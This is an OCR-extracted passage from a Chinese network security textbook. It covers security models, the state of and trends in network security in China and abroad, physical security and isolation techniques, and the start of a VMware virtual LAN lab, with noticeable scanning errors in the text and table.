图 1-7 网 络 安 全 通用 模型 


为 保护 网 络 信息 传输 安全 所 提供 的 安全 机 制 和 安全 服务 主要 包括 两 部 分 : 一 是 对 发 
送 的 信息 通过 安全 技术 进行 转换 ,如 报 文 加 密 , 使 非 授 权 用 户 对 加 密 的 报 文 不 可 读 ,或 附 
加 一 些 基于 报 文 内 容 的 密码 ,用 于 审查 发 送 者 的 身份 等 ;二 是 由 两 个 主体 共享 的 秘密 信 
息 对 开放 网 络 保密 ,如 加 密 转 换 的 密 钥 在 发 送 前 加 密 ,在 接收 前 解密 。 

对 网 络 信息 进行 安全 处 理 , 需 要 可 信 的 第 三 方 进行 两 个 主体 在 报 文 传输 中 的 身份 认 
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证 。 构 建 网 络 安 全 系统 时 ,网 络 安全 模型 基本 任务 主要 有 4 个 : 选取 一 个 秘密 信息 或 报 


文 ; 设 计 一 个 实现 安全 的 转换 算法 ;开发 一 个 分 发 和 共享 秘密 信息 的 方法 ;确定 两 个 主 


使 用 的 网 络 协 议 , 以 便利 用 秘密 算法 与 信息 实现 特定 的 安全 服务 。 
3. 网 络 访问 安全 模型 


E 体 


在 访问 网 络 过 程 中 ,针对 黑客 攻击 ,病毒 侵入 及 非 授权 访问 , 常 采用 网 络 访问 安全 模 
型 。 黑 客 攻击 可 以 形成 两 类 威胁 : 一 是 访问 威胁 , 即 非 授权 用 户 截获 或 修改 数据 ;二 是 服 
务 威胁 , 即 服务 流 激 增 以 禁止 合法 用 户 使 用 。 针 对 非 授权 访问 的 安全 机 制 可 分 为 两 类 : 
一 是 网 闸 功能 ,包括 基于 口令 的 登录 过 程 可 拒绝 所 有 非 授权 访问 ,以 及 屏蔽 逮 辑 用 于 检 
测 .拒绝 病毒 .蠕虫 和 其 他 类 似 攻 击 : 二 是 内 部 的 安全 控制 ,若非 授权 用 户 得 到 访问 权 , 第 
二 道 防线 将 对 其 进行 防御 ,包括 各 种 内 部 监控 和 分 析 , 以 检查 入 侵 者 。 此 模型 如 图 1-8 


所 示 。 
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ee 授权 访问 
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外 部 网 


网 闸 功能 
图 1-8 网 络 访问 安全 模型 


4. 网 络 安全 防御 模型 


网 络 安 全 的 关键 是 预防 ,“ 防 患 于 未 然 " 是 最 好 的 保障 ,同时 做 好 内 网 与 外 网 的 隔离 


保护 。 可 以 通过 如 图 1-9 所 示 的 网 络 安全 防御 模型 构建 的 系统 来 保护 内 网 。 
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图 1-9 网 络 安全 防御 模型 
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后 讨论 思考 

(1) 什么 是 网 络 安全 技术 ? 常用 的 关键 技术 有 哪些 ? 
(2) 为 何 需要 建立 网 络 安全 保障 体系 ? 请 举例 说 明 。 
(3) 网 络 安全 模型 的 作用 是 什么 ? 主要 有 哪 几 个 模型 ? 


15 网 络 安全 发 展现 状 及 趋势 


151 国外 网 络 安全 发 展 状况 
国外 发 达 国家 在 网 络 安全 发 展 建设 方面 的 现状 ,主要 体现 在 以 下 7 个 方面 。 
1. 完善 法 律 法 规 和 制度 建设 


世界 很 多 发 达 国 家 从 立法 ,管理 ,监督 和 教育 等 方面 都 采取 了 相应 的 有 效 措 施 ,加 强 
对 网 络 的 规范 管理 。 一 些 国家 以 网 络 实名 制 进行 具体 的 网 络 管理 ,为 网 络 安全 奠定 了 重 
要 基础 。 如 韩国 要 求 申请 网 站 邮箱 或 聊天 账号 等 必须 填写 并 审核 真实 的 客户 资料 。 以 
防 黑客 利用 虚假 信息 从 事 网 络 犯罪 ,同时 也 起 到 了 一 定 威慑 作用 。 


2. 信息 安全 保障 体系 


面 对 各 种 网 络 威胁 \ 信 息 战 和 安全 隐患 暴露 出 的 问题 ,以 及 新 的 安全 威胁 、 新 的 安全 
需求 和 新 的 网 络 环境 等 ,促使 很 多 发 达 国 家 正在 不 断 完善 各 种 以 深度 防御 为 重点 的 整体 
安全 平台 一 一 网 络 信 息 安全 保障 体系 。 


3. 网 络 系统 安全 测评 


网 络 系统 安全 测评 技术 主要 包括 安全 产品 测评 和 基础 设施 安全 性 测评 技术 。 针 
重要 安全 机 构 或 部 门 进一步 加 强 安全 产品 测评 技术 ,采用 世界 上 先进 的 新 型 安全 产 
并 完善 和 优化 管理 机 制 ,同时 进行 严格 的 安全 等 级 标准 、 安 全 测试 和 其 他 有 效 的 安 
措施 。 

4. 网 络 安全 防护 技术 

在 对 各 种 传统 的 网 络 安全 技术 进行 更 深入 的 探究 的 同时 ,创新 和 改进 新 技术 新 方 
法 ,研发 新 型 的 智能 人 侵 防 御 系统 .和 人 侵 检测 系统 漏洞 扫描 系统 .防火墙 与 加 固 等 多 种 
新 技术 。 研 发 新 型 的 生物 识别 、 公 钥 基 础 设施 (Public Key Infrastructure,PKI) 和 智能 卡 
访问 控制 技术 ,并 将 生物 识别 与 测量 技术 作为 一 个 新 的 研究 重点 ,实现 远程 人 脸 识 别 等 
技术 。 

5. 故障 应 急 响 应 处 理 


在 网 络 安全 体系 中 ,应急 响应 技术 具有 极其 重要 的 作用 ,在 很 多 灾难 性 事件 中 得 到 
了 充分 的 体现 。 主 要 包括 3 个 方面 : 突 发 事件 处 理 ( 包 括 备份 恢复 技术 ) .追踪 取证 的 技 
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术 手 段 .事件 或 具体 攻击 的 分 析 。 
6. 网 络 系统 生存 措施 


【案例 1-9〗 2001 年 9 月 11 日 ,美国 国防 部 五 角 大 楼 遭 到 被 劫持 客机 的 撞击 。 由 于 
利用 网 络 系统 生存 措施 和 应 急 响 应 ,使 得 遭受 重大 袭击 后 仅 几 小 时 就 成 功 地 恢复 其 网 络 
系统 的 主要 功能 ,这 得 益 于 在 西海 岸 的 数据 备份 和 有 效 的 远程 恢复 技术 。 


7. 安全 信息 关联 分 析 


美国 等 国家 在 捕获 攻击 信息 和 新 型 扫描 技术 等 方面 取得 了 突破 。 面 对 各 种 复杂 多 
变 的 网 络 攻击 和 威胁 , 仅 对 单个 系统 入 侵 监 测 和 漏洞 扫描 ,很 难 及 时 将 不 同安 全 设备 和 
区 域 的 信息 进行 关联 分 析 ,也 不 能 快速 准确 地 掌握 攻击 策略 信息 ,而 采用 安全 信息 关联 
分 析 可 以 有 效 地 克服 上 述 缺 点 和 不 足 。 


152 我 国 网 络 安全 发 展现 状 


我 国 非常 重视 网 络 安全 建设 ,虽然 起 步 比 较 晚 ,但 是 发 展 很 快 ,网 络 安全 建设 的 发 展 
现状 主要 体现 在 以 下 7 个 方面 。 


1. 加 强 网 络 安全 管理 与 保障 


进一步 加 强 并 完善 了 网 络 安全 方面 的 法 律 法 规 、 准 则 与 规范 .规划 与 策略 、 规 章 制 
度 、 保 障 体系 、 管 理 技术 、 机 制 与 措施 ,管理 方法 和 安全 管理 人 员 队 伍 及 素质 能 力 等 。 


2. 安全 风险 评估 分 析 


以 往 在 构建 网 络 系统 时 ,基本 事先 忽略 或 简化 风险 分 析 , 导 致 不 能 全 面 准 确 地 认识 
系统 存在 的 威胁 ,经 常 使 制定 的 安全 策略 和 方案 不 切实 际 。 现 在 ,我 国 非常 重视 网 络 安 
全 工作 ,以 规范 要 求 必须 进行 安全 风险 评估 和 分 析 , 对 现 有 网 络 也 要 定期 进行 安全 风险 
评估 和 分 析 , 并 及 时 采取 有 效 措施 进行 安全 管理 和 防范 。 


3. 网 络 安全 技术 研究 


我 国 对 网 络 安全 技术 研究 非常 重视 ,已 经 纳入 国家 “973” 计 划 、“863” 计 划 和 国家 自 
然 科学 基金 等 重大 高 新 技术 研究 项 目 .而且 在 密码 技术 等 方面 取得 了 重大 成 果 。 

【案例 1-10】 保证 系统 具有 高 安全 性 的 防护 ,主要 采用 访问 控制 、 身 份 认证 、 病 毒 防 
范 、 隔 离 、 加 密 、 专 用 协议 等 一 系列 安全 手段 。 目 前 ,我 国 很 多 计算 机 软 硬 件 严重 依赖 国 
外 ,而 且 缺 乏 网 络 传输 专用 安全 协议 ,已 成 为 最 大 安全 缺陷 和 隐患 之 一 ,一 旦 发 生 信 息 
战 , 这 些 硬件 和 操作 系统 很 可 能 成 为 被 利用 的 工具 。 我 国正 在 加 强 操作 系统 的 安全 化 研 
究 , 并 加 强 专用 协议 ,防御 技术 等 研究 .增强 内 部 信息 传输 的 机 密 性 。 对 已 有 的 安全 技术 
体系 ,包括 访问 控制 技术 体系 、 认 证 授权 技术 体系 、 安 全 域名 解析 服务 器 (DNS) 体 系 、 信 
息 安 全 保障 (Information Assurance,IA)、 公 铀 基础 设施 (PKI) 技 术 体 系 等 ,正在 制订 持 
续 性 发 展 研究 计划 ,并 不 断 发 展 完善 。 
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4. 网 络 安全 测试 与 评估 


我 国 测试 评估 标准 正在 不 断 完善 ,测试 评估 的 自动 化 工具 有 所 加 强 ,测试 评估 的 手 
段 不 断 提 高 ,渗透 性 测试 的 技术 方法 正在 增强 ,评估 网 络 整体 安全 性 进一步 提高 。 


5. 应 急 响 应 与 系统 恢复 


应 急 响 应 能 力 是 衡量 网 络 系统 生存 性 的 重要 指标 。 目 前 ,我 国 应 急 处 理 的 能 力 正 在 
加 强 , 缺 乏 系统 性 和 完整 性 问题 正在 改善 ,对 检测 系统 漏洞 .人 侵 行为 .安全 突 发 事件 等 
方面 的 研究 进一步 提高 。 但 我 国 在 跟踪 定位 、 现 场 取证 ,攻击 隔离 等 技术 研究 和 产品 尚 
存 不 足 。 

在 系统 恢复 方面 以 磁盘 镜像 备份 .数据 备份 为 主 ,以 提高 系统 可 靠 性 。 系 统 恢复 和 
数据 恢复 技术 的 研究 仍 显 不 足 ,应 加 强 先进 的 远程 备份 .异地 备份 技术 的 研究 ,以 及 远程 
备份 中 数据 一 致 性 、 完 整 性 、. 访 问 控制 等 关键 技术 的 实施 。 


6. 网 络 安全 检测 技术 


网 络 安全 检测 是 信息 保障 的 动态 措施 ,通过 入 侵 检测 、 漏 洞 扫描 等 手段 ,定期 对 系统 
进行 安全 检测 和 评估 ,及 时 发 现 安全 问题 ,进行 安全 预警 和 漏洞 修补 ,防止 发 生 重 大 信息 
安全 事故 。 我 国 在 安全 检测 技术 和 方法 上 正在 改进 ,将 入 侵 检测 ,漏洞 扫描 、 路 由 等 安全 
技术 相 结合 ,努力 实现 跨越 多 边界 的 网 络 攻击 事件 的 检测 .追踪 和 取证 。 


7. 密码 新 技术 研究 


我 国 在 密码 新 技术 研究 方面 取得 了 一 些 国际 领先 成 果 。 在 深入 进行 传统 密码 技术 
研究 的 同时 ,重点 进行 量子 密码 等 新 技术 的 研究 ,主要 包括 两 个 方面 : 一 是 利用 量子 密码 
学 实现 信息 加 密 和 密 钥 管理 ;二 是 利用 量子 计算 机 对 传统 密码 体制 进行 分 析 。 

有 关 网 络 安全 管理 与 保障 的 具体 内 容 将 在 第 3 章 进 行 系统 介绍 。 


153 网 络 安全 技术 的 发 展 趋势 
网 络 安全 的 发 展 趋 势 主要 体现 在 以 下 几 个 方面 。 
1. 网 络 安全 技术 不 断 提高 


随 着 网 络 安全 威胁 的 不 断 增 加 和 变化 ,网 络 安全 技术 也 在 不 断 创 新 和 提高 ,从 传统 
安全 技术 向 可 信 技 术 、 深 度 包 检测 .终端 安全 管控 和 Web 安全 技术 等 新 技术 发 展 。 同 
时 ,也 不 断 出 现 一 些 云 安全 ,智能 检测 .智能 防御 技术 .加 固 技术 .网络 隔离 .可 信服 务 ` E 
拟 技术 、 信 息 隐藏 技术 和 软件 安全 扫描 等 新 技术 。 其 中 ,可 信 技 术 是 一 个 系统 工程 ,包含 
可 信 计 算 技术 .可 信 对 象 技术 和 可 信 网 络 技术 ,用 于 提供 从 终端 及 网 络 系统 的 整体 安全 
可 信 环 境 。 
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2. 安全 管理 技术 高 度 集成 


网 络 安全 技术 优化 集成 已 成 趋势 ,如 杀毒 软件 与 防火 墙 的 集成 .虚拟 网 VPN 与 防火 
墙 的 集成 ,入 侵 检测 系统 IDS 与 防火 墙 的 集成 ,以 及 安全 网 关 、 主 机 安全 防护 系统 、 网 络 


3. 新 型 网 络 安全 平台 


统一 威胁 管理 (Unified Threat Management, UTM) 可 对 各 种 威胁 进行 整体 安全 防 
护 管理 ,是 实现 网 络 安全 的 重要 手段 ,也 是 网 络 安全 技术 发 展 的 一 大 趋势 ,已 成 为 多 种 网 
络 安全 防护 技术 一 体 化 的 解决 方案 ,在 保障 网 络 安全 的 同时 大 量 降低 运 维 成 本 。 这 方面 
的 技术 主要 包括 网 络 安全 平台 、 统 一 威胁 管理 工具 和 日 志 审 计 分 析 系 统 等 。 


4. 高 水 平 的 服务 和 人 才 


网 络 安全 威胁 的 严重 性 及 新 变化 对 网 络 安全 技术 和 经 验 要 求 更 高 ,急需 高 水 平 的 网 
络 安全 服务 和 人 才 。 随 着 网 络 安全 产业 和 业务 的 发 展 ,网 络 安全 服务 必 将 扩展 ,对 网 络 
系统 进行 定期 的 风险 评估 ,通过 各 种 措施 对 网 络 系统 进行 安全 加 固 ,逐渐 交 给 网 络 安全 
服务 公司 或 团队 将 成 为 一 种 趋势 。 为 用 户 提供 有 效 的 网 络 安全 方案 是 服务 的 基本 手段 ， 
对 网 络 系 统 建设 方案 的 安全 评估 、 对 人 员 的 安全 培训 也 是 服务 的 重要 内 容 。 


5. 特殊 专用 安全 工具 


对 网 络 安全 影响 范围 广 . 危 害 大 的 一 些 特殊 威胁 ,应 采用 专用 工具 ,如 专门 针对 分 布 
式 拒绝 服务 攻击 (DDoS) 的 防范 系统 ,专门 解决 网 络 安全 认证 、 授 权 与 计 费 的 AAA 
(Authentication Authorization Accounting) 认 证 系统 . 单 点 登录 系统 .入 侵 防 御 系 统 、 智 
能 防火 墙 和 防御 内 网 非法 外 联系 统 等 。 

近年 来 ,世界 竞争 变 得 更 加 激烈 ,经 济 从 金融 危机 影响 下 的 持续 低迷 中 艰难 崛起 , 企 
业 更 注重 探寻 新 的 经 济 增长 点 ,优先 保护 品牌 .用 户 数据 、 技 术 研 发 和 知识 产权 等 。 同 
时 ,在 面临 新 的 挑战 中 精打细算 ,减少 非 生产 项 目的 投入 ,使 用 更 少 的 信息 安全 人 员 , 以 
更 少 的 预算 保护 企业 资产 和 资源 。 

[ED 讨论 思考 

(1) 国外 网 络 安全 的 先进 性 主要 体现 在 哪 几 个 方面 ? 

(2) 我 国 网 络 安全 存在 的 主要 差距 有 哪些 ? 

(3) 网 络 安全 的 发 展 趋势 主要 体现 在 哪 几 个 方面 ? 
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“16 实体 安全 与 隔离 技术 概述 
161 实体 安全 的 概念 及 内 容 


1. 实体 安全 的 概念 


实体 安全 (physical security) 也 称 物理 安全 , 指 保护 计 算 机 网 络 设备 .设施 及 其 他 媒 
体 免 遭 地 震 、 水 灾 、 火 灾 、 有 害 气 体 和 其 他 环境 事故 破坏 的 措施 及 过 程 。 主 要 是 对 计算 机 
及 网 络 系统 的 环境 、 场 地 、 设 备 和 人 员 等 方面 采取 的 各 种 安全 技术 和 措施 。 

实体 安全 是 整个 计算 机 网 络 系统 安全 的 重要 基础 和 保障 ,主要 侧重 环境 、 场 地 
和 设备 的 安全 ,以 及 实体 访问 控制 和 应 急 处 置 计划 等 。 计 算 机 网 络 系统 受到 的 威胁 
和 隐患 ,很 多 是 与 计算 机 网 络 系统 的 环境 、 场 地 .设备 和 人 员 等 方面 有 关 的 实体 安全 
问题 。 

实体 安全 的 目的 是 保护 计算 机 、 网 络 服 务 器 、 交 换 机 、 路 由 器 、 打 印 机 等 硬件 实体 和 
通信 设施 免 受 自然 灾害 .人 为 失误 ,犯罪 行为 的 破坏 ,确保 系统 有 一 个 良好 的 电磁 兼容 工 
作 环 境 , 对 有 害 的 攻击 进行 有 效 隔 离 。 


2. 实体 安全 的 内 容 及 措施 


实体 安全 的 内 容 主 要 包括 环境 安全 ,设备 安全 和 媒体 安全 3 个 方面 ,主要 指 五 项 防 
护 (简称 "五 防 ”); 防盗 .防火 、 防 静电 、 防 雷击 、 防 电磁 泄漏 。 特 别 是 应 当 加 强 对 重点 数据 
中 心 机房、 服务 器 、 网 络 及 其 相关 设备 和 媒体 等 实体 安全 的 防护 。 

(1) 防盗 。 由 于 网 络 核 心 部 件 是 偷窃 者 的 主要 目标 ,而 且 , 这 些 设备 存放 大 量 重要 资 
料 ,被 偷窃 所 造成 的 损失 可 能 远 远 超过 计算 机 及 网 络 设备 本 身 的 价值 ,因此 ,必须 采取 严 
格 防范 措施 ,以 确保 计算 机 、 服 务 器 及 网 络 等 相关 设备 不 丢失 。 

(2) 防火 。 网 络 中 心 的 机 房 发 生火 灾 一 般 是 由 于 电气 原因 、 人 为 事故 或 外 部 火灾 蔓 
延 等 引起 的 。 电 气 设备 和 线路 因为 短路 、 过 载 接触 不 良 、 绝 缘 层 破坏 或 静电 等 原因 ,引起 
电 打 火 而 导致 火灾 。 人 为 事故 是 指 由 于 操作 人 员 不 慎 , 吸 烟 、 乱 扔 烟头 等 ,使 存在 易 燃 物 
质 ( 如 纸 片 . 磁 带 、 胶 片 等 ) 的 机 房 起 火 , 当 然 也 不 排除 人 为 故意 放火 。 外 部 火灾 蔓延 是 因 
外 部 房间 或 其 他 建筑 物 起 火 而 蔓延 到 机 房 而 引起 火灾 。 

(3) 防 静 电 。 一 般 静 电 是 由 物体 间 的 相互 摩擦 、 接 触 而 产生 的 ,计算 机 显示 器 也 会 产 
生 很 强 的 静电 。 静 电 产 生 后 ,由 于 未 能 释放 而 保留 在 物体 内 会 有 很 高 的 电位 ,其 能 量 不 
断 增加 ,从 而 产生 静电 放电 火花 ,造成 火灾 ,可 能 使 大 规模 集成 电路 损坏 。 

(4) 防 雷击 。 由 于 传统 避雷 针 防 雷 方式 不 仅 增 大 雷击 可 能 性 ,而 且 产生 感应 雷 ,可 能 
使 电子 信息 设备 被 损坏 ,也 是 易 燃 易 爆 物品 被 引 燃 起 爆 的 主要 原因 。 因 此 ,应 采取 新 的 
防 雷 击 措施 ,主要 包括 : 根据 电气 、 微 电子 设备 的 不 同 功 能 及 不 同 受 保护 程序 和 所 属 保护 
层 ,采取 确定 防护 要 点 、 分 类 保护 .安装 避雷 保护 设施 等 措施 。 根 据 雷电 和 操作 瞬间 超 电 
压 危 害 的 可 能 ,对 从 电源 线 到 数据 通信 线路 通道 做 多 层 保 护 。 
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(5) 防 电磁 泄漏 。 计 算 机 (服务 器 ) 及 网 络 等 设备 在 工作 时 会 产生 电磁 发 射 。 电 磁 发 
射 主要 包括 辐射 发 射 和 传导 发 射 。 可 能 被 高 灵敏 度 的 接收 设备 接收 ` 分 析 、` 还 原 , 造 成 信 
息 泄 露 。 屏 项 是 防 电 磁 泄 漏 的 有 效 措施 ,屏蔽 主要 有 电 屏蔽 、 磁 屏蔽 和 电磁 屏蔽 3 种 类 
型 ,机 要 保密 部 门 必须 通过 安装 屏蔽 等 设施 严防 电磁 泄漏 。 
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1. 媒体 及 其 数据 的 安全 保护 


媒体 及 其 数据 的 安全 保护 主要 是 指 对 媒体 数据 和 媒体 本 身 的 安全 保护 。 

1) 媒体 安全 

媒体 安全 主要 指 对 媒体 及 其 数据 的 安全 保管 ,目的 是 保护 存储 在 媒体 上 的 重要 
资料 。 

保护 媒体 的 安全 措施 主要 有 两 个 方面 : 媒体 的 防盗 与 防 毁 ,其 中 防 毁 指 防 霍 和 防 砸 
及 其 他 可 能 的 破坏 。 

2) 媒体 数据 安全 

媒体 数据 安全 主要 指 对 媒体 数据 的 保护 。 为 了 防止 被 删除 或 被 销毁 的 敏感 数据 被 
他 人 恢复 ,必须 对 媒体 机 密 数据 进行 安全 删除 或 安全 销毁 。 

保护 媒体 数据 安全 的 措施 主要 有 3 个 方面 : 

(1) 媒体 数据 的 防盗 ,如 防止 媒体 数据 被 非法 复制 。 

(2) 媒体 数据 的 销毁 ,包括 媒体 的 物理 销毁 (如 媒体 粉碎 等 ) 和 媒体 数据 的 彻底 销毁 
(如 消 磁 等 ) ,防止 媒体 数据 删除 或 销毁 后 被 他 人 恢复 而 泄露 信息 。 

(3) 媒体 数据 的 防 毁 ,防止 意外 或 故意 的 破坏 使 媒体 数据 丢失 。 


2. 物理 隔离 技术 


物理 隔离 技术 是 在 原 有 安全 技术 的 基础 上 发 展 起 来 的 一 种 安全 防护 技术 。 物 理 隔 
离 技术 的 目的 是 通过 将 威胁 和 攻击 隔离 ,在 可 信和 网 络 之 外 和 保证 可 信和 网 络 内 部 信息 不 外 
泄 的 前 提 下 ,完成 网 间 数 据 的 安全 交换 。 

1) 物理 隔离 的 安全 要 求 

在 安全 上 ,物理 隔离 的 要 求 主 要 有 3 点 : 

(1) 隔断 内 外 网 络 传导 。 在 物理 传导 上 使 内 外 网 络 隔断 ,确保 外 部 网 不 能 通过 网 络 
连接 而 侵入 内 部 网 ;同时 防止 内 部 网 信息 通过 网 络 连 接 泄露 到 外 部 网 。 

(2) 隔断 内 外 网 络 辐射 。 在 物理 辐射 上 隔断 内 部 网 与 外 部 网 ,确保 内 部 网 信息 不 会 
通过 电磁 辐射 或 耦合 方式 泄漏 到 外 部 网 。 

(3) 隔断 不 同 存储 环境 。 在 物理 存储 上 隔断 两 个 网 络 环境 ,对 于 断 电 后 会 遗失 信 
息 的 部 件 , 如 内 存 、 处 理 器 等 暂 存 部 件 , 要 在 网 络 转换 时 作 清除 处 理 ,防止 残留 信息 出 
网 ;对 于 断 电 非 遗失 性 设备 ,如 磁带 机 、 硬 盘 等 存储 设备 ,内 部 网 与 外 部 网 信息 要 分 开 
存储 。 
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2) 物理 隔离 技术 的 3 个 阶段 

第 一 阶段 : 彻底 物理 隔离 。 利 用 物理 隔离 卡 、 安 全 隔离 计算 机 和 交换 机 使 网 络 隔离 ， 
两 个 网 络 之 间 无 信息 交流 ,所 以 也 就 可 以 抵御 所 有 的 网 络 攻击 ,它们 适用 于 一 台 终 端 (或 
一 个 用 户 ) 需 要 分 时 访问 两 个 不 同 的 、 物 理 隔 离 的 网 络 的 应 用 环境 。 

第 二 阶段 : 协议 隔离 。 协 议 隔离 采用 专用 协议 ( 非 公 共 协 议 ) 来 对 两 个 网 络 进行 隔 
离 ,并 在 此 基础 上 实现 两 个 网 络 之 间 的 信息 交换 。 协 议 隔离 技术 由 于 存在 直接 的 物理 和 
逻辑 连接 ,仍然 是 数据 包 的 转发 ,一 些 攻击 依然 会 出 现 。 

第 三 阶段 : 网 闸 隔离 技术 。 主 要 通过 网 闸 等 隔离 技术 对 高 速 网 络 进行 物理 隔离 ,使 
高 效 的 内 外 网 数据 仍然 可 以 正常 进行 交换 ,而 且 控 制 网 络 的 安全 服务 及 应 用 。 

物理 隔离 的 技术 手段 的 优 缺 点 和 典型 产品 如 表 1-2 所 示 。 


表 1-2 物理 隔离 主要 技术 手段 的 优 缺点 和 典型 产品 


技术 手段 £ 训 缺点 典型 产品 

彻底 的 物理 村 两 网 络 问 无 | 联想 网 御 物 理 隔离 卡 、 开 天 双 网 安全 

隔离 EMB 0 信息 交流 | 电脑 伟 思 网 络 安全 隔离 集线器 

iW | 能 折 科 基于 TCP/IP 协议 的 网 络 | 有 些 攻击 可 | 京 泰安 全 信息 交流 系统 2 0\ 东 方 DEF 
扫描 与 攻击 等 行为 穿越 网 络 ”| NS310 物理 隔离 网 关 


不 但 实现 了 高 速 的 数据 交换 ,还 | 应 用 种 类 受 | 伟 思 ViGAP, 天 行 安全 隔离 网 闻 
网 闸 隔离 有 效 地 杜绝 了 基于 网 络 的 攻击 到 限制 > | (TopWalk-GAP) 和 联想 网 御 SIS3000 
行为 3 系列 安全 隔离 网 六 


3) 物理 隔离 的 性 能 要 求 

任何 安全 都 是 有 代价 的 ,由 于 物理 隔离 导致 的 使 用 和 内 外 数据 交换 不 方便 是 难以 避 
免 的 。 物 理 隔 离 技术 应 该 做 到 以 下 几 点 ,才能 满足 市 场 的 需求 ， 

(1) 高 度 安 全 。 利 用 网 络 安全 物理 隔离 卡 等 技术 ,实现 物理 链 路 上 有 别 于 “ 软 ” 安 全 
的 物理 隔离 技术 ,从 最 基础 的 物理 层 实现 安全 。 

(2) 较 低 成 本 。 在 实际 的 网 络 建设 费用 中 ,应当 考 虑 物理 隔离 的 成 本 不 能 高 。 

(3) 容易 部 署 。 物 理 隔 离 技术 应 该 容易 实现 部 署 。 这 一 点 与 降低 成 本 关系 密切 。 

(4) 操作 简单 。 物 理 隔离 技术 应 用 的 对 象 是 普通 的 工作 人 员 ,因此 ,客户 端的 操作 要 
简单 ,用 户 才能 方便 地 使 用 。 

ED 讨论 思考 

(1) 实体 安全 的 内 容 主 要 包括 哪些 ? 

(2) 物理 隔离 技术 手段 主要 有 哪些 ? 


“17 实验 一 : 构建 虚拟 局 域 网 


虚拟 局 域 网 (Virtual Local Area Network, VLAN) 是 一 种 将 局 域 网 设备 从 逻辑 上 
划分 成 多 个 网 段 , 从 而 实现 虚拟 工作 组 的 数据 交换 技术 ,主要 应 用 于 交换 机 和 路 由 器 。 
虚拟 机 (Virtual Machine,VM) 是 运行 于 主机 系统 中 的 虚拟 系统 。 可 以 模拟 物理 计算 机 
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的 硬件 控制 模式 ,具有 系统 运行 的 大 部 分 功能 和 部 分 其 他 扩展 功能 。 虚 拟 技术 不 仅 经 
济 , 而 且 可 用 于 模拟 具有 一 定 风险 性 的 与 网 络 安全 相关 的 各 种 实验 或 测试 。 


171 实验 目的 


通过 安装 和 配置 虚拟 机 并 建立 一 个 虚拟 局 域 网 ,实现 以 下 3 个 目的 : 

(1) 为 网 络 安全 试验 做 准备 。 利 用 虚拟 机 软件 可 以 构建 虚拟 网 ,模拟 复杂 的 网 络 环 
境 , 可 以 让 用 户 在 单机 上 实现 多 机 协同 作业 ,进行 网 络 协议 分 析 等 功能 。 

(2) 网 络 安全 实验 可 能 对 系统 具有 一 定 破 坏 性 ,虚拟 局 域 网 可 以 保护 物理 主机 和 网 
络 的 安全 。 而 且 一 旦 虚拟 系统 瘫痪 ,也 可 以 在 数秒 内 得 到 恢复 。 

(3) 利用 VMware Workstation Pro 12 虚拟 机 安装 Windows 10, 可 以 实现 在 一 台 机 
器 上 同时 运行 多 个 操作 系统 ,以 及 实现 一 些 其 他 操作 功能 ,例如 屏幕 捕捉 、 历 史 重 现 等 。 


172 实验 要 求 及 方法 
1. 实验 要 求 


1) 预习 准备 

由 于 本 实验 内 容 是 为 后 续 的 网 络 安全 实验 做 准备 ,因此 ,最 好 提前 做 好 虚拟 局 域 网 
知识 的 预习 或 对 有 关内 容 进 行 一 些 了 解 。 

(1) Windows 10 原版 光盘 镜像 : Windows 10 开发 者 预览 版 下 载 (微软 官方 原版 ) 。 

(2) VMware 12 虚拟 机 软件 下 载 : VMware Workstation Pro 12 正式 版 发 布下 载 
(支持 Windows 8, 用 于 Windows 主机 ) 。 

2) 注意 事项 及 特别 提醒 

安装 VMware 时 ,需要 将 设备 中 的 软盘 移 除 ,以免 可 能 影响 Windows 10 的 系统 声音 
或 网 络 。 

由 于 网 络 安全 技术 更 新 快 、 技 术 、 方 法 和 软 硬 件 产 品种 类 繁多 ,可 能 具体 版 本 和 界面 
等 方面 不 尽 一 致 或 有 所 差异 。 在 具体 实验 步 又 中 更 应 当 多 注重 关键 的 技术 方法 ,做 到 举 
一 反 三 、 触 类 旁 通 ,不 要 死 钻 牛角 尖 , 过 分 抠 细 节 。 

安装 完成 虚拟 软件 和 设置 以 后 ,需要 重新 启动 才 可 正常 使 用 。 

实验 用 时 : 2 学 时 (90 一 120 分 钟 ) 。 


2. 实验 方法 


构建 虚拟 局 域 网 的 方法 很 多 。 可 用 Windows 自 带 的 连接 设 管 方式 ,通过 “网 上 邻 
居 ” 建 立 。 也 可 在 Windows Server 2012 运行 环境 下 安装 虚拟 机 软件 。 主 要 利用 虚拟 存 
储 空 间 和 操作 系统 提供 的 技术 支持 ,使 虚拟 机 上 的 操作 系统 通过 网 卡 和 实际 操作 系统 进 
行 通信 。 真 实 机 和 虚拟 机 可 以 通过 以 太 网 进行 通信 ,形成 一 个 小 型 的 局 域 网 环境 。 

(1) 利用 虚拟 机 软件 在 一 台 计 算 机 中 安装 多 台 虚 拟 主机 ,构建 虚拟 局 域 网 ,可 以 模拟 
复杂 的 真实 网 络 环境 ,让 用 户 在 单机 上 实现 多 机 协同 作业 。 
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(2) 虚拟 局 域 网 是 一 个 虚拟 系统 , 当 遇 到 网 络 攻击 甚至 造成 系统 瘫痪 时 ,实际 的 物理 
网 络 系统 并 没有 受到 影响 和 破坏 ,所 以 虚拟 局 域 网 可 在 较 短 时 间 内 得 到 人 恢复。 
(3) 在 虚拟 局 域 网 络 上 ,可 以 实现 在 一 台 机 器 上 同时 运行 多 个 操作 系统 。 


173 实验 内 容 及 步骤 


VMware Workstation 是 一 款 功能 强大 的 桌面 虚拟 软件 ,可 在 安全 、 可 移植 的 虚拟 机 
中 运行 多 种 操作 系统 和 应 用 软件 ,为 用 户 提供 同时 运行 不 同 的 操作 系统 和 进行 开发 、 测 
试 .部 署 新 的 应 用 程序 的 最 佳 解决 方案 。 每 台 虚 拟 机 相当 于 包含 网 络 地 址 的 PC。 

VMware 基于 虚拟 局 域 网 技术 ,可 为 分 布 在 不 同 范围 .不 同 物理 位 置 的 计算 机 组 建 
虚拟 局 域 网 ,形成 一 个 具有 资源 共享 .数据 传送 .远程 访问 等 功能 的 局 域 网 。 

利用 VMware 12 虚拟 机 安装 Windows 10, 并 可 以 建立 虚拟 局 域 网 。 

(1) 安装 VMware 12。 安 装 及 使 用 虚拟 机 向 导 界 面 ,如 图 1-10 及 图 1-11 所 示 。 


poe WORKSTATION 


1-10 VMware 12 安装 界面 


CE 


WORKSTATION 12 


十 [a] 


图 1-11 使 用 新 建 虚拟 机 向 导 界 面 
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(2) 使 用 Workstation 的 新 建 虚拟 机 向 导 , 可 以 简单 地 从 磁盘 或 ISO 映像 在 虚拟 机 
中 轻松 地 安装 Windows 10, 如 图 1-12 和 图 1-13 所 示 。 


欢迎 使 用 新 建 虚拟 机 向 导 


